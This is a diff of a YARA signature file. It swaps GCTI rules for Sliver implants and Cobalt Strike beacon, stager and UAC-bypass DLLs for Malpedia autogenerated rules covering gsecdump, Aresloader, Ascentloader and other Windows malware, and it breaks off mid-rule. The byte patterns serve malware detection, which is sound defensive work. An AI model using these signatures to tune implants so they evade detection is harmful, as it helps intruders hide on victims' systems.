+		logic_hash = "97458316dc025f2ef3806add4e0540e6bc317fe3a272c04393704aa62f6ae30d"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
+	strings:
+		$sequence_0 = { e8???????? 8bfc b901050000 f3a5 8bcb }
+		$sequence_1 = { e8???????? 8bfc b901050000 f3a5 8bcb e8???????? }
+		$sequence_2 = { b901050000 f3a5 8bcb e8???????? 803b00 }
+		$sequence_3 = { 6a04 50 ff15???????? 68???????? }
+		$sequence_4 = { e8???????? 8bfc b901050000 f3a5 8bcb e8???????? 803b00 }
+		$sequence_5 = { e8???????? 8bfc b901050000 f3a5 }
+		$sequence_6 = { eb08 c6840550ffffff00 8d8550ffffff 50 }
+		$sequence_7 = { 53 56 57 6804140000 }
+		$sequence_8 = { c6840550ffffff00 8d8550ffffff 50 e8???????? }
+		$sequence_9 = { 8d7e28 57 ff15???????? 8b4608 }
 
- */
-rule GCTI_Sliver_Implant_64Bit
+	condition:
+		7 of them and filesize <540672
+}
+rule MALPEDIA_Win_Gsecdump_Auto : FILE
 {
 	meta:
-		description = "Sliver 64-bit implant (with and without --debug flag at compile)"
-		author = "gssincla@google.com"
-		id = "b84db933-0e11-5871-821d-43697c015665"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/Sliver/Sliver__Implant_64bit.yara#L17-L84"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "2d1c9de42942a16c88a042f307f0ace215cdc67241432e1152080870fe95ea87"
-		logic_hash = "ad4ceef08a732174c8ccbcacf0370b26acb9e5ec0784d8827c8104618e018a26"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "b81c271d-e899-564d-95e1-3cec03c5f3c1"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gsecdump_auto.yar#L1-L132"
+		license_url = "N/A"
+		logic_hash = "6bf60f2f5adb73a31aef591a4e85eec2a9f319786a1094bc7166c02e51c8574f"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s_tcppivot = { 48 ?? 74 63 70 70 69 76 6F 74 }
-		$s_namedpipe = { 48 ?? 6E 61 6D 65 64 70 69 70 [2-32] 80 ?? 08 65 }
-		$s_https = { 81 ?? 68 74 74 70 [2-32] 80 ?? 04 73 }
-		$s_wg = {66 81 ?? 77 67}
-		$s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 }
-		$s_mtls = {  81 ?? 6D 74 6C 73  }
-		$fp1 = "cloudfoundry" ascii fullword
+		$sequence_0 = { c7060f000000 c746fc00000000 c646ec00 83c61c 8d56e8 3bd7 }
+		$sequence_1 = { 8b442438 50 e8???????? 83c404 8b4c2478 64890d00000000 59 }
+		$sequence_2 = { 7205 e8???????? 83460401 e9???????? 8b06 83f8fe }
+		$sequence_3 = { 7376 8bcf c1e105 894d14 03cb 51 50 }
+		$sequence_4 = { 8d57fe 52 53 8d442430 50 8bce e8???????? }
+		$sequence_5 = { 51 e8???????? 83c408 85ff 8bf7 0f869afdffff 8b4c2414 }
+		$sequence_6 = { 50 8d8c24bc000000 c684244401000004 e8???????? 8d4c2428 889c2438010000 e8???????? }
+		$sequence_7 = { 8b4604 3b442424 0f84a3000000 8b06 83f8fe 7427 85c0 }
+		$sequence_8 = { 50 e8???????? 8b4538 3bc6 7409 50 e8???????? }
+		$sequence_9 = { 33d2 59 f7f1 33f6 8d2c95908c4400 8b7d00 85ff }
 
 	condition:
-		5 of ($s*) and not 1 of ($fp*)
+		7 of them and filesize <630784
 }
-rule GCTI_Sliver_Implant_32Bit
+rule MALPEDIA_Win_Aresloader_Auto : FILE
 {
 	meta:
-		description = "Sliver 32-bit implant (with and without --debug flag at compile)"
-		author = "gssincla@google.com"
-		id = "6bc4d7d1-64cf-5920-8f07-54a8a7a94f26"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/Sliver/Sliver__Implant_32bit.yara#L17-L81"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "911f4106350871ddb1396410d36f2d2eadac1166397e28a553b28678543a9357"
-		logic_hash = "5b394a198f691b6777438a69d20a423798525daa84a09a0ce346eca5bb66f850"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "aecf8195-bc3f-5d42-bd81-bfa1c242c64d"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aresloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aresloader_auto.yar#L1-L109"
+		license_url = "N/A"
+		logic_hash = "3fed3bf2cf5088e9a8f4396999f890e21fa81afee0e4b5adddfaf27ad4b3888c"
 		score = 60
-		quality = 35
-		tags = ""
+		quality = 25
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$s_tcppivot = { 81 ?? 74 63 70 70 [2-20] 81 ?? 04 69 76 6F 74  }
-		$s_wg = { 66 81 ?? 77 67 }
-		$s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 }
-		$s_http = { 81 ?? 68 74 74 70 }
-		$s_https = { 81 ?? 68 74 74 70 [2-20] 80 ?? 04 73 }
-		$s_mtls = { 81 ?? 6D 74 6C 73 }
-		$fp1 = "cloudfoundry" ascii fullword
+		$sequence_0 = { 85db 7435 85f6 7431 }
+		$sequence_1 = { c744241410000000 c744241000000000 c744240c00000000 c744240800000000 c744240400000000 }
+		$sequence_2 = { 8b6c243c 3d???????? 741d 896c243c }
+		$sequence_3 = { a1???????? 8b5c2430 8b742434 8b7c2438 8b6c243c 3d???????? }
+		$sequence_4 = { 8b7c2438 8b6c243c 85db 7435 }
+		$sequence_5 = { 7431 896c240c 897c2408 895c2404 893424 }
+		$sequence_6 = { 8b6c243c 85db 7435 85f6 }
+		$sequence_7 = { 8b7c2438 8b6c243c 3d???????? 741d 896c243c }
+		$sequence_8 = { 893424 e8???????? 85c0 7831 }
+		$sequence_9 = { 7431 896c240c 897c2408 895c2404 }
 
 	condition:
-		4 of ($s*) and not 1 of ($fp*)
+		7 of them and filesize <2657280
 }
-rule GCTI_Cobaltstrike_Resources_Elevate_Dll_V3_0_To_V3_14_And_Sleeve_Elevate_Dll_V4_X
+rule MALPEDIA_Win_Batel_Auto : FILE
+{
+	meta:
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "5c784793-7499-59d2-9d6e-e8d3b0a588c6"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.batel"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.batel_auto.yar#L1-L228"
+		license_url = "N/A"
+		logic_hash = "54d1d1c2accc87182d1d618459ab2c69708bc7f726841a04281db6bdb06903a0"
+		score = 75
+		quality = 73
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { 33c0 5b c21000 3b0d???????? 7502 f3c3 }
+		$sequence_1 = { 56 b858212300 be58212300 57 8bf8 3bc6 }
+		$sequence_2 = { 7429 68f4202300 56 ff15???????? }
+		$sequence_3 = { 7cec 56 57 6a40 6800100000 }
+		$sequence_4 = { 7ccd 5f 5e 5d 33c0 5b c21000 }
+		$sequence_5 = { c745fc00000000 6800002300 e8???????? 83c404 }
+		$sequence_6 = { 689d020000 8d8561fdffff 6a00 50 c68560fdffff00 }
+		$sequence_7 = { 8b1d???????? bf01000000 8d642400 68???????? ff15???????? }
+		$sequence_8 = { b8???????? 8a10 88940d60fdffff 83c003 }
+		$sequence_9 = { a1???????? 85c0 752c 8935???????? 68d0202300 }
+		$sequence_10 = { 40 c20c00 55 8bec 81eca0020000 68ee020000 ff15???????? }
+		$sequence_11 = { b90b010000 66398818002300 75dd 83b8740023000e 76d4 }
+		$sequence_12 = { ffd3 68005c2605 ffd5 47 83ff5a 7ccd 5f }
+		$sequence_13 = { 55 8b2d???????? 56 57 68a00f0000 ffd5 }
+		$sequence_14 = { 85c0 7412 ffd0 56 }
+		$sequence_15 = { 59 6a00 ff15???????? 68d8202300 ff15???????? 833d????????00 }
+		$sequence_16 = { 68a00f0000 ffd5 8b1d???????? bf01000000 }
+		$sequence_17 = { 50 c68560fdffff00 e8???????? 83c40c 33c9 }
+		$sequence_18 = { 85f6 7422 68???????? 56 ff15???????? 85c0 7412 }
+		$sequence_19 = { 6a00 ff15???????? 8bf8 b9a7000000 8db560fdffff f3a5 66a5 }
+		$sequence_20 = { 6a40 6800100000 689e020000 6a00 ff15???????? }
+		$sequence_21 = { 83b8740023000e 76d4 33c9 3988e8002300 0f95c1 8bc1 6a02 }
+		$sequence_22 = { 66a5 ffd0 5f 5e }
+
+	condition:
+		7 of them and filesize <49152
+}
+rule MALPEDIA_Win_Ascentloader_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/elevate.dll signature for v3.0 to v3.14 and sleeve/elevate.dll for v4.x"
-		author = "gssincla@google.com"
-		id = "170f62a2-ba4f-5be8-9ec5-402eb7bbde4e"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Elevate_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_Dll_v4_x.yara#L17-L68"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "6deeb2cafe9eeefe5fc5077e63cc08310f895e9d5d492c88c4e567323077aa2f"
-		logic_hash = "766a0a390ed8cefe43d82a054a9b2cfec7eced75e0d7ee10231215043577b75e"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "a27ad34c-c5db-5069-a642-46b14138c3be"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ascentloader_auto.yar#L1-L117"
+		license_url = "N/A"
+		logic_hash = "9df20341633fa22f46dd0bb0a3d7ffdb7631f541fddea2f57343c78db84232a1"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$wnd_proc = {
-			6A 00
-			6A 28
-			68 00 01 00 00
-			5?
-			C7 [5] 01 00 00 00
-			FF ??
-			6A 00
-			6A 27
-			68 00 01 00 00
-			5?
-			FF ??
-			6A 00
-			6A 00
-			68 01 02 00 00
-			5?
-			FF ??
-		}
+		$sequence_0 = { 1bc0 f7d8 eb02 8bc3 85c0 }
+		$sequence_1 = { 741b 6a1a 2bf7 59 }
+		$sequence_2 = { 85c0 7414 8b0f e8???????? 8b4e48 e8???????? 33c0 }
+		$sequence_3 = { 40 001c5b 40 0023 }
+		$sequence_4 = { c78564ffffff76650d0a 66c78568ffffff0d0a c6856affffff00 f30f7f856cffffff 660f6f05???????? f30f7f857cffffff }
+		$sequence_5 = { 6a01 58 0f43f0 6a22 59 }
+		$sequence_6 = { 40 0038 aa 40 }
+		$sequence_7 = { 83f8ff 7518 ff15???????? 57 ff15???????? ff15???????? e9???????? }
+		$sequence_8 = { 85c0 7508 6a11 e8???????? 59 ff34f5c8484100 }
+		$sequence_9 = { 8d45e0 50 56 ff15???????? 8b5dec }
 
 	condition:
-		$wnd_proc
+		7 of them and filesize <253952
 }
-rule GCTI_Cobaltstrike_Resources_Bypassuac_X64_Dll_V3_3_To_V3_14_And_Sleeve_Bypassuac_X64_Dll_V4_0_And_V4_X
+rule MALPEDIA_Win_Nozelesn_Decryptor_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/bypassuac-x64.dll from v3.3 to v3.14 (64-bit version) and sleeve/bypassuac.x64.dll from v4.0 to at least v4.4"
-		author = "gssincla@google.com"
-		id = "eef83901-63d9-55a3-b115-03f420416177"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuac_x64_Dll_v3_3_to_v3_14_and_Sleeve_Bypassuac_x64_Dll_v4_0_and_v4_x.yara#L17-L86"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "9ecf56e9099811c461d592c325c65c4f9f27d947cbdf3b8ef8a98a43e583aecb"
-		logic_hash = "d76e3601f61ae164a8df9048d59d15cd6913e64adb93132244e83f40bf67d86a"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "5291555a-238b-5124-8c5e-fbe5c6dae533"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nozelesn_decryptor_auto.yar#L1-L131"
+		license_url = "N/A"
+		logic_hash = "1af6964230aa159d6a9d9c0e30b792e1839c5e421f268df94cf1e56da3b12562"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$deleteFileCOM = {
-			48 8B [5]
-			45 33 ??
-			48 8B ??
-			FF 90 90 00 00 00
-			85 C0
-			75 ??
-			48 8B [5]
-			48 8B ??
-			FF 92 A8 00 00 00
-			85 C0
-		}
-		$copyFileCOM = {
-			48 8B [5]
-			4C 8B [5]
-			48 8B [5]
-			48 8B ??
-			4C 8B ??
-			48 89 [3]
-			FF 90 80 00 00 00
-			85 C0
-			0F 85 [4]
-			48 8B [5]
-			48 8B 11
-			FF 92 A8 00 00 00
-		}
+		$sequence_0 = { 8b459c 8d4dd8 51 8b00 8b701c 8bce e8???????? }
+		$sequence_1 = { c7401000000000 c7401407000000 668908 c645fc06 8bb5ccfbffff 85f6 0f848d100000 }
+		$sequence_2 = { 8bc1 83e801 747b 83e801 7466 2d0f010000 7416 }
+		$sequence_3 = { 3bcf 7c10 7f07 3d???????? 7607 bf???????? eb02 }
+		$sequence_4 = { 743f 8b7b0c eb28 8b4608 }
+		$sequence_5 = { 8b5508 85d2 7436 8bc2 8945fc 83fa04 721f }
+		$sequence_6 = { ff7730 c745fc01000000 8945a0 c645ac00 c645ad00 e8???????? 8d4584 }
+		$sequence_7 = { e8???????? 837b3800 884340 7510 8b430c 8bcb 83c804 }
+		$sequence_8 = { 33d7 8945e8 33d6 8bf0 c1c20d 33f1 8bc2 }
+		$sequence_9 = { 7428 8b03 8d4d90 51 8b7018 8bce e8???????? }
 
 	condition:
-		all of them
+		7 of them and filesize <1122304
 }
-rule GCTI_Cobaltstrike_Resources_Httpsstager64_Bin_V3_2_Through_V4_X
+rule MALPEDIA_Win_Photolite_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/httpsstager64.bin signature for versions v3.2 to v4.x"
-		author = "gssincla@google.com"
-		id = "c16e73fc-484a-5f7e-8127-d85a0254d842"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpsstager64_Bin_v3_2_through_v4_x.yara#L17-L90"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "109b8c55816ddc0defff360c93e8a07019ac812dd1a42209ea7e95ba79b5a573"
-		logic_hash = "4889a23c1f2780044b9fb2a0207676d57e82e6c1275614b684a5a9cbe984b761"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "91b305a0-4121-51a1-b4d2-2f8343c04744"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photolite"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.photolite_auto.yar#L1-L166"
+		license_url = "N/A"
+		logic_hash = "caefd484ddfe657e42e053f8e8452f60715f0696ed8aba66627e49aa5e3366fe"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$apiLocator = {
-			48 [2]
-			AC
-			41 [2] 0D
-			41 [2]
-			38 ??
-			75 ??
-			4C [4]
-			45 [2]
-			75 ??
-			5?
-			44 [2] 24
-			49 [2]
-			66 [4]
-			44 [2] 1C
-			49 [2]
-			41 [3]
-			48
-		}
-		$InternetSetOptionA = {
-			BA 1F 00 00 00
-			6A 00
-			68 80 33 00 00
-			49 [2]
-			41 ?? 04 00 00 00
-			41 ?? 75 46 9E 86
-		}
+		$sequence_0 = { c7859802000042cc7257 c7859c02000075cc545d c785a002000040c02638 8b8594020000 8a8590020000 84c0 751e }
+		$sequence_1 = { ff15???????? 498bd6 488d4d76 ff15???????? 8a4301 }
+		$sequence_2 = { c7859405000037f43a3a c785980500002fef391c c7859c0500000be1241d c785a00500002fe54a79 8b8590050000 8a858c050000 84c0 }
+		$sequence_3 = { 8a85e0020000 84c0 751e 488bcb 8b848de4020000 }
+		$sequence_4 = { 4803cf 483bce 72e5 885c244c c744245057106c10 c7442454556a4c30 }
+		$sequence_5 = { 8bc3 4d03ca 85d2 7474 448bc0 }
+		$sequence_6 = { 7421 0f1002 488bc2 482bc6 482bc7 }
+		$sequence_7 = { 7307 488b7c2430 eba3 488b5c2448 }
+		$sequence_8 = { 48895d38 48895da0 895d30 488b01 ff5070 8bf8 85c0 }
+		$sequence_9 = { 488bd8 4885c0 0f8419010000 488b15???????? }
+		$sequence_10 = { 488bcb ffd0 ffc6 41b8bb010000 8bd6 }
+		$sequence_11 = { 84c0 0f85f5000000 4885db 7451 488b05???????? 4885c0 7426 }
+		$sequence_12 = { 72e9 4c8d442444 41b901000000 488d047e 410fb6d1 }
+		$sequence_13 = { 3dc8000000 0f849d000000 488b5d28 4885db }
+		$sequence_14 = { 75f2 33db 4084f6 0f84e6000000 }
+		$sequence_15 = { 488d542474 488d8de0020000 ff15???????? 408874245c }
 
 	condition:
-		$apiLocator and $InternetSetOptionA
+		7 of them and filesize <99328
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_44
+rule MALPEDIA_Win_Upas_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Version 1.44"
-		author = "gssincla@google.com"
-		id = "935ee27f-ce1b-5491-b4a3-cb78f199ab1b"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L17-L49"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "75102e8041c58768477f5f982500da7e03498643b6ece86194f4b3396215f9c2"
-		logic_hash = "ebed8b6dc0b929164b1aa25b491b9d2fbb61d380a8b1268df7d424afe90f613d"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "4474338e-2402-5a41-aa33-f4db4dabe7ff"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.upas"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.upas_auto.yar#L1-L126"
+		license_url = "N/A"
+		logic_hash = "13e71741a108b9f3493f31fa88f76272d0cb37e67292b4fc5655cf9c429831b0"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 0F B7 D2 4A 53 8B D9 83 FA 04 77 36 FF 24 }
-		$decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 }
+		$sequence_0 = { 6a00 8d45f8 50 8d45f0 50 ff15???????? }
+		$sequence_1 = { ffd6 33c0 eb18 6a00 57 }
+		$sequence_2 = { ff751c e8???????? ff7620 ff763c e8???????? 8b4d10 8bd8 }
+		$sequence_3 = { ff15???????? 8945fc 3bc7 7504 33c0 eb64 56 }
+		$sequence_4 = { 50 53 ff15???????? 8945f4 3bc3 7504 }
+		$sequence_5 = { 83c420 53 6880000000 6a02 53 53 68000000c0 }
+		$sequence_6 = { 8944b5dc 837cb5dc00 59 59 7406 46 83fe07 }
+		$sequence_7 = { ff15???????? ff75e8 8d4598 6a22 50 e8???????? }
+		$sequence_8 = { 72d1 5e c3 8b442410 8b08 3b0d???????? }
+		$sequence_9 = { ff15???????? 85c0 742d 8d8500fdffff 50 }
 
 	condition:
-		all of them
+		7 of them and filesize <114688
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_45
+rule MALPEDIA_Win_Vapor_Rage_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Version 1.45"
-		author = "gssincla@google.com"
-		id = "04d4d0ee-f1ee-5888-8108-ca55243c770a"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L51-L84"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "1a92b2024320f581232f2ba1e9a11bef082d5e9723429b3e4febb149458d1bb1"
-		logic_hash = "b1472907e0fe0cb26219c268f23483681cc076dab96c1b0f2f0ee472ad319b4f"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "11bddf4b-6d86-5af5-ae51-c6d26a16eb1c"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vapor_rage"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vapor_rage_auto.yar#L1-L122"
+		license_url = "N/A"
+		logic_hash = "be731f13a1ff78238c54efa2479336e60a09907f2a709db9a3ea573dd84f70f8"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 51 0F B7 D2 4A 53 56 83 FA 08 77 6B FF 24 }
-		$decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 }
+		$sequence_0 = { 6a07 e8???????? e8???????? e8???????? e8???????? 8325????????00 c745fcfeffffff }
+		$sequence_1 = { 6a00 0fb755b0 52 8b45ac 50 }
+		$sequence_2 = { 5f 5e c3 68???????? ff15???????? c3 }
+		$sequence_3 = { 32db 885de7 c745fcfeffffff e8???????? 84db 0f8564ffffff }
+		$sequence_4 = { 885de7 c745fcfeffffff e8???????? 84db 0f8564ffffff e8???????? }
+		$sequence_5 = { 6a1f 8b4de4 51 ff15???????? }
+		$sequence_6 = { 8b55f8 81ca80000000 8955f8 6a04 8d45f8 50 6a1f }
+		$sequence_7 = { eb59 48 a3???????? e8???????? }
+		$sequence_8 = { 894df8 8b55f8 81ca80000000 8955f8 6a04 8d45f8 }
+		$sequence_9 = { f2c3 f2e94e030000 55 8bec 5d e9???????? 55 }
 
 	condition:
-		all of them
+		7 of them and filesize <296960
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_46
+rule MALPEDIA_Win_Sarhust_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Version 1.46"
-		author = "gssincla@google.com"
-		id = "79715042-1963-5e48-8b64-7d915da58d84"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L86-L115"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "44e34f4024878024d4804246f57a2b819020c88ba7de160415be38cd6b5e2f76"
-		logic_hash = "1a5c63c8b5527c0442830a73ded8458cf82a9d8ecb9b31e9a02c10b27ed6195e"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "50274b48-711c-5f29-acdb-11078c70fee8"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust"
